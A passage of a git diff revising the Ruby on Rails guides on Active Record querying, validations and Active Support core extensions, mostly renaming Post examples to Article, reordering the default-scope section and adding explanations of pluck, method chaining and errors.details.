 To call this `published` scope we can call it on either the class:
 
 ```ruby
-Post.published # => [published posts]
+Article.published # => [published articles]
 ```
 
-Or on an association consisting of `Post` objects:
+Or on an association consisting of `Article` objects:
 
 ```ruby
 category = Category.first
-category.posts.published # => [published posts belonging to this category]
+category.articles.published # => [published articles belonging to this category]
 ```
 
 ### Passing in arguments
@@ -1184,21 +1210,21 @@ category.posts.published # => [published posts belonging to this category]
 Your scope can take arguments:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   scope :created_before, ->(time) { where("created_at < ?", time) }
 end
 ```
 
-This may then be called using this:
+Call the scope as if it were a class method:
 
 ```ruby
-Post.created_before(Time.zone.now)
+Article.created_before(Time.zone.now)
 ```
 
 However, this is just duplicating the functionality that would be provided to you by a class method.
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   def self.created_before(time)
     where("created_at < ?", time)
   end
@@ -1208,7 +1234,36 @@ end
 Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
 
 ```ruby
-category.posts.created_before(time)
+category.articles.created_before(time)
+```
+
+### Applying a default scope
+
+If we wish for a scope to be applied across all queries to the model we can use the
+`default_scope` method within the model itself.
+
+```ruby
+class Client < ActiveRecord::Base
+  default_scope { where("removed_at IS NULL") }
+end
+```
+
+When queries are executed on this model, the SQL query will now look something like
+this:
+
+```sql
+SELECT * FROM clients WHERE removed_at IS NULL
+```
+
+If you need to do more complex things with a default scope, you can alternatively
+define it as a class method:
+
+```ruby
+class Client < ActiveRecord::Base
+  def self.default_scope
+    # Should return an ActiveRecord::Relation.
+  end
+end
 ```
 
 ### Merging of scopes
@@ -1222,26 +1277,26 @@ class User < ActiveRecord::Base
 end
 
 User.active.inactive
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
 ```
 
 We can mix and match `scope` and `where` conditions and the final sql
-will have all conditions joined with `AND` .
+will have all conditions joined with `AND`.
 
 ```ruby
 User.active.where(state: 'finished')
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
 ```
 
-If we do want the `last where clause` to win then `Relation#merge` can
-be used .
+If we do want the last `where` clause to win then `Relation#merge` can
+be used.
 
 ```ruby
 User.active.merge(User.inactive)
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
 ```
 
-One important caveat is that `default_scope` will be overridden by
+One important caveat is that `default_scope` will be prepended in
 `scope` and `where` conditions.
 
 ```ruby
@@ -1252,48 +1307,18 @@ class User < ActiveRecord::Base
 end
 
 User.all
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
 
 User.active
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
 
 User.where(state: 'inactive')
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
 ```
 
-As you can see above the `default_scope` is being overridden by both
+As you can see above the `default_scope` is being merged in both
 `scope` and `where` conditions.
 
-
-### Applying a default scope
-
-If we wish for a scope to be applied across all queries to the model we can use the
-`default_scope` method within the model itself.
-
-```ruby
-class Client < ActiveRecord::Base
-  default_scope { where("removed_at IS NULL") }
-end
-```
-
-When queries are executed on this model, the SQL query will now look something like
-this:
-
-```sql
-SELECT * FROM clients WHERE removed_at IS NULL
-```
-
-If you need to do more complex things with a default scope, you can alternatively
-define it as a class method:
-
-```ruby
-class Client < ActiveRecord::Base
-  def self.default_scope
-    # Should return an ActiveRecord::Relation.
-  end
-end
-```
-
 ### Removing All Scoping
 
 If we wish to remove scoping for any reason we can use the `unscoped` method. This is
@@ -1301,7 +1326,7 @@ especially useful if a `default_scope` is specified in the model and should not
 applied for this particular query.
 
 ```ruby
-Client.unscoped.all
+Client.unscoped.load
 ```
 
 This method removes all scoping and will do a normal query on the table.
@@ -1318,17 +1343,69 @@ Client.unscoped {
 Dynamic Finders
 ---------------
 
-NOTE: Dynamic finders have been deprecated in Rails 4.0 and will be
-removed in Rails 4.1. The best practice is to use Active Record scopes
-instead. You can find the deprecation gem at
-https://github.com/rails/activerecord-deprecated_finders
-
 For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods.
 
 You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
 
 If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`.
 
+Understanding The Method Chaining
+---------------------------------
+
+The Active Record pattern implements [Method Chaining](http://en.wikipedia.org/wiki/Method_chaining),
+which allow us to use multiple Active Record methods together in a simple and straightforward way.
+
+You can chain methods in a statement when the previous method called returns an
+`ActiveRecord::Relation`, like `all`, `where`, and `joins`. Methods that return
+a single object (see [Retrieving a Single Object Section](#retrieving-a-single-object))
+have to be at the end of the statement.
+
+There are some examples below. This guide won't cover all the possibilities, just a few as examples.
+When an Active Record method is called, the query is not immediately generated and sent to the database,
+this just happens when the data is actually needed. So each example below generates a single query.
+
+### Retrieving filtered data from multiple tables
+
+```ruby
+Person
+  .select('people.id, people.name, comments.text')
+  .joins(:comments)
+  .where('comments.created_at > ?', 1.week.ago)
+```
+
+The result should be something like this:
+
+```sql
+SELECT people.id, people.name, comments.text
+FROM people
+INNER JOIN comments
+  ON comments.person_id = people.id
+WHERE comments.created_at = '2015-01-01'
+```
+
+### Retrieving specific data from multiple tables
+
+```ruby
+Person
+  .select('people.id, people.name, companies.name')
+  .joins(:company)
+  .find_by('people.name' => 'John') # this should be the last
+```
+
+The above should generate:
+
+```sql
+SELECT people.id, people.name, companies.name
+FROM people
+INNER JOIN companies
+  ON companies.person_id = people.id
+WHERE people.name = 'John'
+LIMIT 1
+```
+
+NOTE: Remember that, if `find_by` returns more than one registry, it will take
+just the first and ignore the others. Note the `LIMIT 1` statement above.
+
 Find or Build a New Object
 --------------------------
 
@@ -1358,7 +1435,7 @@ COMMIT
 
 The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
 
-Suppose we want to set the 'locked' attribute to true if we're
+Suppose we want to set the 'locked' attribute to `false` if we're
 creating a new record, but we don't want to include it in the query. So
 we want to find the client named "Andy", or if that client doesn't
 exist, create a client named "Andy" which is not locked.
@@ -1435,7 +1512,12 @@ If you'd like to use your own SQL to find records in a table you can use `find_b
 ```ruby
 Client.find_by_sql("SELECT * FROM clients
   INNER JOIN orders ON clients.id = orders.client_id
-  ORDER clients.created_at desc")
+  ORDER BY clients.created_at desc")
+# =>  [
+  #<Client id: 1, first_name: "Lucas" >,
+  #<Client id: 2, first_name: "Jan" >,
+  # ...
+]
 ```
 
 `find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
@@ -1445,12 +1527,16 @@ Client.find_by_sql("SELECT * FROM clients
 `find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
 
 ```ruby
-Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'")
+# => [
+  {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
+  {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}
+]
 ```
 
 ### `pluck`
 
-`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+`pluck` can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
 
 ```ruby
 Client.where(active: true).pluck(:id)
@@ -1466,7 +1552,7 @@ Client.pluck(:id, :name)
 # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
 ```
 
-`pluck` makes it possible to replace code like
+`pluck` makes it possible to replace code like:
 
 ```ruby
 Client.select(:id).map { |c| c.id }
@@ -1476,7 +1562,7 @@ Client.select(:id).map(&:id)
 Client.select(:id, :name).map { |c| [c.id, c.name] }
 ```
 
-with
+with:
 
 ```ruby
 Client.pluck(:id)
@@ -1484,6 +1570,37 @@ Client.pluck(:id)
 Client.pluck(:id, :name)
 ```
 
+Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`,
+without constructing `ActiveRecord` objects. This can mean better performance for
+a large or often-running query. However, any model method overrides will
+not be available. For example:
+
+```ruby
+class Client < ActiveRecord::Base
+  def name
+    "I am #{super}"
+  end
+end
+
+Client.select(:name).map &:name
+# => ["I am David", "I am Jeremy", "I am Jose"]
+
+Client.pluck(:name)
+# => ["David", "Jeremy", "Jose"]
+```
+
+Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate
+query, and thus cannot be chained with any further scopes, although it can work with
+scopes already constructed earlier:
+
+```ruby
+Client.pluck(:name).limit(1)
+# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+Client.limit(1).pluck(:name)
+# => ["David"]
+```
+
 ### `ids`
 
 `ids` can be used to pluck all the IDs for the relation using the table's primary key.
@@ -1505,18 +1622,21 @@ Person.ids
 Existence of Objects
 --------------------
 
-If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`.
+If you simply want to check for the existence of the object there's a method called `exists?`.
+This method will query the database using the same query as `find`, but instead of returning an
+object or collection of objects it will return either `true` or `false`.
 
 ```ruby
 Client.exists?(1)
 ```
 
-The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+The `exists?` method also takes multiple values, but the catch is that it will return `true` if any
+one of those records exists.
 
 ```ruby
-Client.exists?(1,2,3)
+Client.exists?(id: [1,2,3])
 # or
-Client.exists?([1,2,3])
+Client.exists?(name: ['John', 'Sergei'])
 ```
 
 It's even possible to use `exists?` without any arguments on a model or a relation.
@@ -1525,7 +1645,8 @@ It's even possible to use `exists?` without any arguments on a model or a relati
 Client.where(first_name: 'Ryan').exists?
 ```
 
-The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise.
+The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false`
+otherwise.
 
 ```ruby
 Client.exists?
@@ -1537,20 +1658,20 @@ You can also use `any?` and `many?` to check for existence on a model or relatio
 
 ```ruby
 # via a model
-Post.any?
-Post.many?
+Article.any?
+Article.many?
 
 # via a named scope
-Post.recent.any?
-Post.recent.many?
+Article.recent.any?
+Article.recent.many?
 
 # via a relation
-Post.where(published: true).any?
-Post.where(published: true).many?
+Article.where(published: true).any?
+Article.where(published: true).many?
 
 # via an association
-Post.first.categories.any?
-Post.first.categories.many?
+Article.first.categories.any?
+Article.first.categories.many?
 ```
 
 Calculations
@@ -1575,7 +1696,7 @@ Client.where(first_name: 'Ryan').count
 You can also use various finder methods on a relation for performing complex calculations:
 
 ```ruby
-Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count
+Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
 ```
 
 Which will execute:
@@ -1640,19 +1761,26 @@ Running EXPLAIN
 You can run EXPLAIN on the queries triggered by relations. For example,
 
 ```ruby
-User.where(id: 1).joins(:posts).explain
+User.where(id: 1).joins(:articles).explain
 ```
 
 may yield
 
 ```
-EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
-| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
-|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
-|  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+----------+-------+---------------+
+| id | select_type | table    | type  | possible_keys |
++----+-------------+----------+-------+---------------+
+|  1 | SIMPLE      | users    | const | PRIMARY       |
+|  1 | SIMPLE      | articles | ALL   | NULL          |
++----+-------------+----------+-------+---------------+
++---------+---------+-------+------+-------------+
+| key     | key_len | ref   | rows | Extra       |
++---------+---------+-------+------+-------------+
+| PRIMARY | 4       | const |    1 |             |
+| NULL    | NULL    | NULL  |    1 | Using where |
++---------+---------+-------+------+-------------+
+
 2 rows in set (0.00 sec)
 ```
 
@@ -1662,15 +1790,15 @@ Active Record performs a pretty printing that emulates the one of the database
 shells. So, the same query running with the PostgreSQL adapter would yield instead
 
 ```
-EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1
                                   QUERY PLAN
 ------------------------------------------------------------------------------
  Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
-   Join Filter: (posts.user_id = users.id)
+   Join Filter: (articles.user_id = users.id)
    ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
          Index Cond: (id = 1)
-   ->  Seq Scan on posts  (cost=0.00..28.88 rows=8 width=4)
-         Filter: (posts.user_id = 1)
+   ->  Seq Scan on articles  (cost=0.00..28.88 rows=8 width=4)
+         Filter: (articles.user_id = 1)
 (6 rows)
 ```
 
@@ -1679,26 +1807,39 @@ may need the results of previous ones. Because of that, `explain` actually
 executes the query, and then asks for the query plans. For example,
 
 ```ruby
-User.where(id: 1).includes(:posts).explain
+User.where(id: 1).includes(:articles).explain
 ```
 
 yields
 
 ```
 EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
-| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra |
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
-|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |       |
-+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
++----+-------------+-------+-------+---------------+
+| id | select_type | table | type  | possible_keys |
++----+-------------+-------+-------+---------------+
+|  1 | SIMPLE      | users | const | PRIMARY       |
++----+-------------+-------+-------+---------------+
++---------+---------+-------+------+-------+
+| key     | key_len | ref   | rows | Extra |
++---------+---------+-------+------+-------+
+| PRIMARY | 4       | const |    1 |       |
++---------+---------+-------+------+-------+
+
 1 row in set (0.00 sec)
 
-EXPLAIN for: SELECT `posts`.* FROM `posts`  WHERE `posts`.`user_id` IN (1)
-+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
-| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra       |
-+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
-|  1 | SIMPLE      | posts | ALL  | NULL          | NULL | NULL    | NULL |    1 | Using where |
-+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+EXPLAIN for: SELECT `articles`.* FROM `articles`  WHERE `articles`.`user_id` IN (1)
++----+-------------+----------+------+---------------+
+| id | select_type | table    | type | possible_keys |
++----+-------------+----------+------+---------------+
+|  1 | SIMPLE      | articles | ALL  | NULL          |
++----+-------------+----------+------+---------------+
++------+---------+------+------+-------------+
+| key  | key_len | ref  | rows | Extra       |
++------+---------+------+------+-------------+
+| NULL | NULL    | NULL |    1 | Using where |
++------+---------+------+------+-------------+
+
+
 1 row in set (0.00 sec)
 ```
 
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
index 0b2f0a47fa..67cc6a4db3 100644
--- a/guides/source/active_record_validations.md
+++ b/guides/source/active_record_validations.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Record Validations
 =========================
 
@@ -85,7 +87,7 @@ end
 We can see how it works by looking at some `rails console` output:
 
 ```ruby
-$ rails console
+$ bin/rails console
 >> p = Person.new(name: "John Doe")
 => #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
 >> p.new_record?
@@ -175,28 +177,28 @@ class Person < ActiveRecord::Base
 end
 
 >> p = Person.new
-#=> #<Person id: nil, name: nil>
+# => #<Person id: nil, name: nil>
 >> p.errors.messages
-#=> {}
+# => {}
 
 >> p.valid?
-#=> false
+# => false
 >> p.errors.messages
-#=> {name:["can't be blank"]}
+# => {name:["can't be blank"]}
 
 >> p = Person.create
-#=> #<Person id: nil, name: nil>
+# => #<Person id: nil, name: nil>
 >> p.errors.messages
-#=> {name:["can't be blank"]}
+# => {name:["can't be blank"]}
 
 >> p.save
-#=> false
+# => false
 
 >> p.save!
-#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
 
 >> Person.create!
-#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
 ```
 
 `invalid?` is simply the inverse of `valid?`. It triggers your validations,
@@ -225,8 +227,26 @@ end
 ```
 
 We'll cover validation errors in greater depth in the [Working with Validation
-Errors](#working-with-validation-errors) section. For now, let's turn to the
-built-in validation helpers that Rails provides by default.
+Errors](#working-with-validation-errors) section.
+
+### `errors.details`
+
+To check what validator type was used on invalid attribute, you can use
+`errors.details[:attribute]`. It returns array of hashes where under `:error`
+ key you will find symbol of used validator.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+>> person = Person.new
+>> person.valid?
+>> person.errors.details[:name] #=> [{error: :blank}]
+```
+
+Using `details` with custom validators are covered in the [Working with
+Validation Errors](#working-with-validation-errors) section.
 
 Validation Helpers
 ------------------
@@ -337,7 +357,7 @@ set. In fact, this set can be any enumerable object.
 ```ruby
 class Account < ActiveRecord::Base
   validates :subdomain, exclusion: { in: %w(www us ca jp),
-    message: "Subdomain %{value} is reserved." }
+    message: "%{value} is reserved." }
 end
 ```
 
@@ -361,6 +381,8 @@ class Product < ActiveRecord::Base
 end
 ```
 
+Alternatively, you can require that the specified attribute does _not_ match the regular expression by using the `:without` option.
+
 The default error message is _"is invalid"_.
 
 ### `inclusion`
@@ -425,7 +447,7 @@ class Essay < ActiveRecord::Base
   validates :content, length: {
     minimum: 300,
     maximum: 400,
-    tokenizer: lambda { |str| str.scan(/\w+/) },
+    tokenizer: lambda { |str| str.split(/\s+/) },
     too_short: "must have at least %{count} words",
     too_long: "must have at most %{count} words"
   }
@@ -438,8 +460,6 @@ provide a personalized message or use `presence: true` instead. When
 `:in` or `:within` have a lower limit of 1, you should either provide a
 personalized message or call `presence` prior to `length`.
 
-The `size` helper is an alias for `length`.
-
 ### `numericality`
 
 This helper validates that your attributes have only numeric values. By
@@ -450,7 +470,7 @@ point number. To specify that only integral numbers are allowed set
 If you set `:only_integer` to `true`, then it will use the
 
 ```ruby
-/\A[+-]?\d+\Z/
+/\A[+-]?\d+\z/
 ```
 
 regular expression to validate the attribute's value. Otherwise, it will try to
@@ -487,6 +507,8 @@ constraints to acceptable values:
 * `:even` - Specifies the value must be an even number if set to true. The
   default error message for this option is _"must be even"_.
 
+NOTE: By default, `numericality` doesn't allow `nil` values. You can use `allow_nil: true` option to permit it.
+
 The default error message is _"is not a number"_.
 
 ### `presence`
@@ -526,9 +548,16 @@ If you validate the presence of an object associated via a `has_one` or
 `marked_for_destruction?`.
 
 Since `false.blank?` is true, if you want to validate the presence of a boolean
-field you should use `validates :field_name, inclusion: { in: [true, false] }`.
+field you should use one of the following validations:
 
-The default error message is _"can't be empty"_.
+```ruby
+validates :boolean_field_name, presence: true
+validates :boolean_field_name, inclusion: { in: [true, false] }
+validates :boolean_field_name, exclusion: { in: [nil] }
+```
+
+By using one of these validations, you will ensure the value will NOT be `nil`
+which would result in a `NULL` value in most cases.
 
 ### `absence`
 
@@ -577,7 +606,9 @@ This helper validates that the attribute's value is unique right before the
 object gets saved. It does not create a uniqueness constraint in the database,
 so it may happen that two different database connections create two records
 with the same value for a column that you intend to be unique. To avoid that,
-you must create a unique index in your database.
+you must create a unique index on both columns in your database. See
+[the MySQL manual](http://dev.mysql.com/doc/refman/5.6/en/multiple-column-indexes.html)
+for more details about multiple column indexes.
 
 ```ruby
 class Account < ActiveRecord::Base
@@ -618,10 +649,6 @@ The default error message is _"has already been taken"_.
 This helper passes the record to a separate class for validation.
 
 ```ruby
-class Person < ActiveRecord::Base
-  validates_with GoodnessValidator
-end
-
 class GoodnessValidator < ActiveModel::Validator
   def validate(record)
     if record.first_name == "Evil"
@@ -629,6 +656,10 @@ class GoodnessValidator < ActiveModel::Validator
     end
   end
 end
+
+class Person < ActiveRecord::Base
+  validates_with GoodnessValidator
+end
 ```
 
 NOTE: Errors added to `record.errors[:base]` relate to the state of the record
@@ -646,10 +677,6 @@ Like all other validations, `validates_with` takes the `:if`, `:unless` and
 validator class as `options`:
 
 ```ruby
-class Person < ActiveRecord::Base
-  validates_with GoodnessValidator, fields: [:first_name, :last_name]
-end
-
 class GoodnessValidator < ActiveModel::Validator
   def validate(record)
     if options[:fields].any?{|field| record.send(field) == "Evil" }
@@ -657,6 +684,10 @@ class GoodnessValidator < ActiveModel::Validator
     end
   end
 end
+
+class Person < ActiveRecord::Base
+  validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
 ```
 
 Note that the validator will be initialized *only once* for the whole application
@@ -698,7 +729,7 @@ we don't want names and surnames to begin with lower case.
 ```ruby
 class Person < ActiveRecord::Base
   validates_each :name, :surname do |record, attr, value|
-    record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+    record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
   end
 end
 ```
@@ -783,7 +814,7 @@ end
 Person.new.valid?  # => ActiveModel::StrictValidationFailed: Name can't be blank
 ```
 
-There is also an ability to pass custom exception to `:strict` option
+There is also an ability to pass custom exception to `:strict` option.
 
 ```ruby
 class Person < ActiveRecord::Base
@@ -871,7 +902,7 @@ should happen, an `Array` can be used. Moreover, you can apply both `:if` and
 ```ruby
 class Computer < ActiveRecord::Base
   validates :mouse, presence: true,
-                    if: ["market.retail?", :desktop?]
+                    if: ["market.retail?", :desktop?],
                     unless: Proc.new { |c| c.trackpad.present? }
 end
 ```
@@ -910,8 +941,8 @@ end
 The easiest way to add custom validators for validating individual attributes
 is with the convenient `ActiveModel::EachValidator`. In this case, the custom
 validator class must implement a `validate_each` method which takes three
-arguments: record, attribute and value which correspond to the instance, the
-attribute to be validated and the value of the attribute in the passed
+arguments: record, attribute, and value. These correspond to the instance, the
+attribute to be validated, and the value of the attribute in the passed
 instance.
 
 ```ruby
@@ -1061,6 +1092,42 @@ Another way to do this is using `[]=` setter
    # => ["Name cannot contain the characters !@#%*()_-+="]
 ```
 
+### `errors.details`
+
+You can add validator type to details hash when using `errors.add` method.
+
+```ruby
+  class Person < ActiveRecord::Base
+    def a_method_used_for_validation_purposes
+      errors.add(:name, :invalid_characters)
+    end
+  end
+
+  person = Person.create(name: "!@#")
+
+  person.errors.details[:name]
+   # => [{error: :invalid_characters}]
+```
+
+To improve error details to contain not allowed characters set, you can
+pass additional options to `errors.add` method.
+
+```ruby
+  class Person < ActiveRecord::Base
+    def a_method_used_for_validation_purposes
+      errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=")
+    end
+  end
+
+  person = Person.create(name: "!@#")
+
+  person.errors.details[:name]
+  # => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}]
+```
+
+All built in Rails validators populate details hash with corresponding
+validator types.
+
 ### `errors[:base]`
 
 You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.
@@ -1129,15 +1196,15 @@ generating a scaffold, Rails will put some ERB into the `_form.html.erb` that
 it generates that displays the full list of errors on that model.
 
 Assuming we have a model that's been saved in an instance variable named
-`@post`, it looks like this:
+`@article`, it looks like this:
 
 ```ruby
-<% if @post.errors.any? %>
+<% if @article.errors.any? %>
   <div id="error_explanation">
-    <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>
 
     <ul>
-    <% @post.errors.full_messages.each do |msg| %>
+    <% @article.errors.full_messages.each do |msg| %>
       <li><%= msg %></li>
     <% end %>
     </ul>
@@ -1151,7 +1218,7 @@ the entry.
 
 ```
 <div class="field_with_errors">
- <input id="post_title" name="post[title]" size="30" type="text" value="">
+ <input id="article_title" name="article[title]" size="30" type="text" value="">
 </div>
 ```
 
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index ca023f7f66..0fbd6ed7e1 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Support Core Extensions
 ==============================
 
@@ -37,9 +39,10 @@ For every single method defined as a core extension this guide has a note that s
 
 NOTE: Defined in `active_support/core_ext/object/blank.rb`.
 
-That means that this single call is enough:
+That means that you can require it like this:
 
 ```ruby
+require 'active_support'
 require 'active_support/core_ext/object/blank'
 ```
 
@@ -52,6 +55,7 @@ The next level is to simply load all extensions to `Object`. As a rule of thumb,
 Thus, to load all extensions to `Object` (including `blank?`):
 
 ```ruby
+require 'active_support'
 require 'active_support/core_ext/object'
 ```
 
@@ -60,6 +64,7 @@ require 'active_support/core_ext/object'
 You may prefer just to load all core extensions, there is a file for that:
 
 ```ruby
+require 'active_support'
 require 'active_support/core_ext'
 ```
 
@@ -96,12 +101,13 @@ INFO: The predicate for strings uses the Unicode-aware character class `[:space:
 
 WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.
 
-For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present:
+For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present:
 
 ```ruby
-def ensure_session_key!
-  if @key.blank?
-    raise ArgumentError, 'A key is required...'
+def authenticate(controller, &login_procedure)
+  token, options = token_and_options(controller.request)
+  unless token.blank?
+    login_procedure.call(token, options)
   end
 end
 ```
@@ -153,12 +159,12 @@ Active Support provides `duplicable?` to programmatically query an object about
 
 ```ruby
 "foo".duplicable? # => true
-"".duplicable?     # => true
+"".duplicable?    # => true
 0.0.duplicable?   # => false
-false.duplicable?  # => false
+false.duplicable? # => false
 ```
 
-By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, and module objects.
+By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, module, and method objects.
 
 WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
 
@@ -175,14 +181,14 @@ duplicate = array.dup
 duplicate.push 'another-string'
 
 # the object was duplicated, so the element was added only to the duplicate
-array     #=> ['string']
-duplicate #=> ['string', 'another-string']
+array     # => ['string']
+duplicate # => ['string', 'another-string']
 
 duplicate.first.gsub!('string', 'foo')
 
 # first element was not duplicated, it will be changed in both arrays
-array     #=> ['foo']
-duplicate #=> ['foo', 'another-string']
+array     # => ['foo']
+duplicate # => ['foo', 'another-string']
 ```
 
 As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object.
@@ -195,8 +201,8 @@ duplicate = array.deep_dup
 
 duplicate.first.gsub!('string', 'foo')
 
-array     #=> ['string']
-duplicate #=> ['foo']
+array     # => ['string']
+duplicate # => ['foo']
 ```
 
 If the object is not duplicable, `deep_dup` will just return it:
@@ -420,11 +426,9 @@ NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
 
 ### JSON support
 
-Active Support provides a better implemention of `to_json` than the +json+ gem ordinarily provides for Ruby objects. This is because some classes, like +Hash+ and +OrderedHash+ needs special handling in order to provide a proper JSON representation.
-
-Active Support also provides an implementation of `as_json` for the <tt>Process::Status</tt> class.
+Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation.
 
-NOTE: Defined in `active_support/core_ext/object/to_json.rb`.
+NOTE: Defined in `active_support/core_ext/object/json.rb`.
 
 ### Instance Variables
 
@@ -463,7 +467,7 @@ C.new(0, 1).instance_variable_names # => ["@x", "@y"]
 
 NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
 
-### Silencing Warnings, Streams, and Exceptions
+### Silencing Warnings and Exceptions
 
